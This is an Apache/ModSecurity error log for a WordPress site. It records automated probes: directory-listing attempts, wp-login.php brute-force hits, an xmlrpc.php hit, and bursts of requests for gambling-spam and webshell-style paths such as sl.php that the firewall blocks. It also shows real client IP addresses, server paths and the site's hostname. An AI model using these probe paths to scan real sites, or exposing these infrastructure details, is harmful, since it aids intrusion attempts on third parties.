[Wed Apr 22 01:47:30.014857 2026] [autoindex:error] [pid 4823:tid 4858] [client 45.137.126.20:24877] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/blocks/file/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 01:47:50.413430 2026] [autoindex:error] [pid 4823:tid 4865] [client 45.137.126.20:24877] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/imgareaselect/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 01:47:54.982751 2026] [autoindex:error] [pid 4823:tid 4855] [client 45.137.126.20:24877] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/sodium_compat/lib/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 01:47:55.475908 2026] [autoindex:error] [pid 4823:tid 4863] [client 45.137.126.20:24877] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/jcrop/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 01:47:59.966711 2026] [autoindex:error] [pid 4823:tid 4869] [client 45.137.126.20:24877] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/block-bindings/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 01:48:02.561816 2026] [autoindex:error] [pid 4823:tid 4864] [client 45.137.126.20:24877] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/Requests/library/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 01:48:31.563246 2026] [autoindex:error] [pid 4823:tid 4875] [client 45.137.126.20:24877] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/tinymce/skins/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 01:48:36.090586 2026] [autoindex:error] [pid 4823:tid 4863] [client 45.137.126.20:24877] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/jquery/ui/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 01:48:41.642196 2026] [autoindex:error] [pid 4823:tid 4864] [client 45.137.126.20:24877] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/tinymce/themes/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 01:48:46.138182 2026] [autoindex:error] [pid 4823:tid 4871] [client 45.137.126.20:24877] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/tinymce/themes/inlite/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 01:48:49.854771 2026] [autoindex:error] [pid 4823:tid 4865] [client 45.137.126.20:24877] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/plupload/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 01:48:50.345822 2026] [autoindex:error] [pid 4823:tid 4855] [client 45.137.126.20:24877] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/rest-api/fields/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 01:48:52.952968 2026] [autoindex:error] [pid 4823:tid 4862] [client 45.137.126.20:24877] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/blocks/code/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 01:48:53.444364 2026] [autoindex:error] [pid 4823:tid 4870] [client 45.137.126.20:24877] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/blocks/archives/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 01:48:53.935362 2026] [autoindex:error] [pid 4823:tid 4877] [client 45.137.126.20:24877] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/css/dist/components/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 01:49:01.203159 2026] [autoindex:error] [pid 35321:tid 35387] [client 45.137.126.39:63883] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/blocks/pullquote/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 01:49:05.786052 2026] [autoindex:error] [pid 35321:tid 35399] [client 45.137.126.39:63883] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/blocks/comments-pagination-numbers/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 01:49:20.626091 2026] [autoindex:error] [pid 35321:tid 35386] [client 45.137.126.39:63883] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/blocks/details/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 01:49:21.172517 2026] [autoindex:error] [pid 35321:tid 35391] [client 45.137.126.39:63883] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/blocks/post-terms/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 01:49:22.159531 2026] [autoindex:error] [pid 35321:tid 35397] [client 45.137.126.39:63883] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/dist/development/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 01:49:24.634862 2026] [autoindex:error] [pid 35321:tid 35401] [client 45.137.126.39:63883] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/sodium_compat/namespaced/Core/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 01:49:39.758944 2026] [autoindex:error] [pid 35321:tid 35384] [client 45.137.126.39:63883] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/blocks/site-title/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 01:49:50.220002 2026] [autoindex:error] [pid 35321:tid 35401] [client 45.137.126.39:63883] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/tinymce/plugins/compat3x/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 01:57:54.136171 2026] [:error] [pid 4777:tid 4795] [client 164.90.143.116:63254] [client 164.90.143.116] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 164.90.143.116, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aee6oqxXur6bykKyLZTNDQAAAQc"]
[Wed Apr 22 02:15:54.012431 2026] [:error] [pid 35321:tid 35392] [client 164.90.143.116:55919] [client 164.90.143.116] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 164.90.143.116, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aee-2jeHLhVUuu8cVXxkVAAAAEg"]
[Wed Apr 22 02:33:54.022305 2026] [:error] [pid 35320:tid 35349] [client 164.90.143.116:63459] [client 164.90.143.116] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 164.90.143.116, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aefDEoJW6fdXWO6agMGcWQAAABM"]
[Wed Apr 22 02:51:45.586497 2026] [:error] [pid 35320:tid 35336] [client 164.90.143.116:49602] [client 164.90.143.116] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 164.90.143.116, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aefHQYJW6fdXWO6agMGjvgAAAAY"]
[Wed Apr 22 03:09:39.465599 2026] [:error] [pid 18795:tid 18808] [client 164.90.143.116:61317] [client 164.90.143.116] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 164.90.143.116, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aefLc_pmfB6aIfcKgXcNmQAAAMo"]
[Wed Apr 22 03:27:41.153632 2026] [:error] [pid 21682:tid 21727] [client 164.90.143.116:63444] [client 164.90.143.116] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 164.90.143.116, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aefPrZlXWQZUlmPHS3rE2wAAAEQ"]
[Wed Apr 22 03:30:38.160680 2026] [:error] [pid 21788:tid 21814] [client 81.167.26.57:21453] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "aefQXn7OM27rzVpef24qPwAAANg"]
[Wed Apr 22 03:30:40.744440 2026] [:error] [pid 23041:tid 23053] [client 81.167.26.57:24538] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "aefQYETXx_lUa7xwAb5fxAAAAQk"]
[Wed Apr 22 03:30:43.530059 2026] [:error] [pid 23041:tid 23062] [client 81.167.26.57:31639] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "aefQY0TXx_lUa7xwAb5fyAAAARI"]
[Wed Apr 22 03:30:46.128893 2026] [:error] [pid 21682:tid 21726] [client 81.167.26.57:25445] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20co.aspx"] [unique_id "aefQZplXWQZUlmPHS3rFrgAAAEM"]
[Wed Apr 22 03:30:48.715518 2026] [:error] [pid 21683:tid 21772] [client 81.167.26.57:32619] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "aefQaFZBWT-0diZyYyZKbgAAAJY"]
[Wed Apr 22 03:30:51.351487 2026] [:error] [pid 21683:tid 21762] [client 81.167.26.57:15554] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "aefQa1ZBWT-0diZyYyZKcwAAAIw"]
[Wed Apr 22 03:30:53.955199 2026] [:error] [pid 23041:tid 23052] [client 81.167.26.57:14835] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "aefQbUTXx_lUa7xwAb5f0gAAAQg"]
[Wed Apr 22 03:30:56.554810 2026] [:error] [pid 21788:tid 21792] [client 81.167.26.57:39320] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "aefQcH7OM27rzVpef24qcwAAAMI"]
[Wed Apr 22 03:30:59.135776 2026] [:error] [pid 23041:tid 23059] [client 81.167.26.57:4287] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20wallet.aspx"] [unique_id "aefQc0TXx_lUa7xwAb5f4wAAAQ8"]
[Wed Apr 22 03:31:01.755893 2026] [:error] [pid 23041:tid 23068] [client 81.167.26.57:15635] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dg%20casino.aspx"] [unique_id "aefQdUTXx_lUa7xwAb5f6AAAARg"]
[Wed Apr 22 03:31:04.362480 2026] [:error] [pid 23041:tid 23049] [client 81.167.26.57:51817] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "aefQeETXx_lUa7xwAb5f7QAAAQU"]
[Wed Apr 22 03:31:06.948514 2026] [:error] [pid 23041:tid 23058] [client 81.167.26.57:13423] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "aefQekTXx_lUa7xwAb5f9QAAAQ4"]
[Wed Apr 22 03:31:09.554811 2026] [:error] [pid 21788:tid 21795] [client 81.167.26.57:15291] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "aefQfX7OM27rzVpef24qigAAAMU"]
[Wed Apr 22 03:31:12.175113 2026] [:error] [pid 21681:tid 21703] [client 81.167.26.57:51633] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/h25%20com.aspx"] [unique_id "aefQgN5LmJziq-yZYawHkgAAAA0"]
[Wed Apr 22 03:31:14.814839 2026] [:error] [pid 23041:tid 23049] [client 81.167.26.57:56368] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jili%20slot.aspx"] [unique_id "aefQgkTXx_lUa7xwAb5f-wAAAQU"]
[Wed Apr 22 03:31:17.407071 2026] [:error] [pid 21682:tid 21745] [client 81.167.26.57:23337] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20slot.aspx"] [unique_id "aefQhZlXWQZUlmPHS3rFvgAAAFY"]
[Wed Apr 22 03:31:20.015830 2026] [:error] [pid 21788:tid 21807] [client 81.167.26.57:25365] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20vip.aspx"] [unique_id "aefQiH7OM27rzVpef24qowAAANE"]
[Wed Apr 22 03:31:23.534389 2026] [:error] [pid 21683:tid 21757] [client 81.167.26.57:7588] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kingkong%20joker.aspx"] [unique_id "aefQi1ZBWT-0diZyYyZKjAAAAIc"]
[Wed Apr 22 03:31:26.182456 2026] [:error] [pid 21681:tid 21701] [client 81.167.26.57:64952] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lava%20slot.aspx"] [unique_id "aefQjt5LmJziq-yZYawHmQAAAAs"]
[Wed Apr 22 03:31:28.801643 2026] [:error] [pid 21683:tid 21760] [client 81.167.26.57:43467] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mega%20slot.aspx"] [unique_id "aefQkFZBWT-0diZyYyZKjgAAAIo"]
[Wed Apr 22 03:31:31.389390 2026] [:error] [pid 21683:tid 21761] [client 81.167.26.57:15501] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/metal%20slot.aspx"] [unique_id "aefQk1ZBWT-0diZyYyZKkQAAAIs"]
[Wed Apr 22 03:36:03.350962 2026] [:error] [pid 23041:tid 23058] [client 154.21.239.119:60862] [client 154.21.239.119] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 154.21.239.119, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aefRo0TXx_lUa7xwAb5iEQAAAQ4"], referer: https://vetstars.com.au/
[Wed Apr 22 03:45:49.290861 2026] [:error] [pid 21788:tid 21812] [client 164.90.143.116:59832] [client 164.90.143.116] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 164.90.143.116, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aefT7X7OM27rzVpef24vsgAAANY"]
[Wed Apr 22 03:49:17.501909 2026] [:error] [pid 21682:tid 21724] [client 51.103.104.209:38450] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sl.php"] [unique_id "aefUvZlXWQZUlmPHS3rKOQAAAEE"]
[Wed Apr 22 03:49:18.793941 2026] [:error] [pid 21681:tid 21702] [client 51.103.104.209:35526] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sl.php"] [unique_id "aefUvt5LmJziq-yZYawLcQAAAAw"]
[Wed Apr 22 03:49:19.864915 2026] [:error] [pid 21682:tid 21744] [client 51.103.104.209:37225] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sl.php"] [unique_id "aefUv5lXWQZUlmPHS3rKPQAAAFU"]
[Wed Apr 22 03:49:20.597726 2026] [:error] [pid 21788:tid 21795] [client 51.103.104.209:60950] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sl.php"] [unique_id "aefUwH7OM27rzVpef24xgQAAAMU"]
[Wed Apr 22 03:49:22.112030 2026] [:error] [pid 21682:tid 21726] [client 51.103.104.209:39727] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/flox.php"] [unique_id "aefUwplXWQZUlmPHS3rKRAAAAEM"]
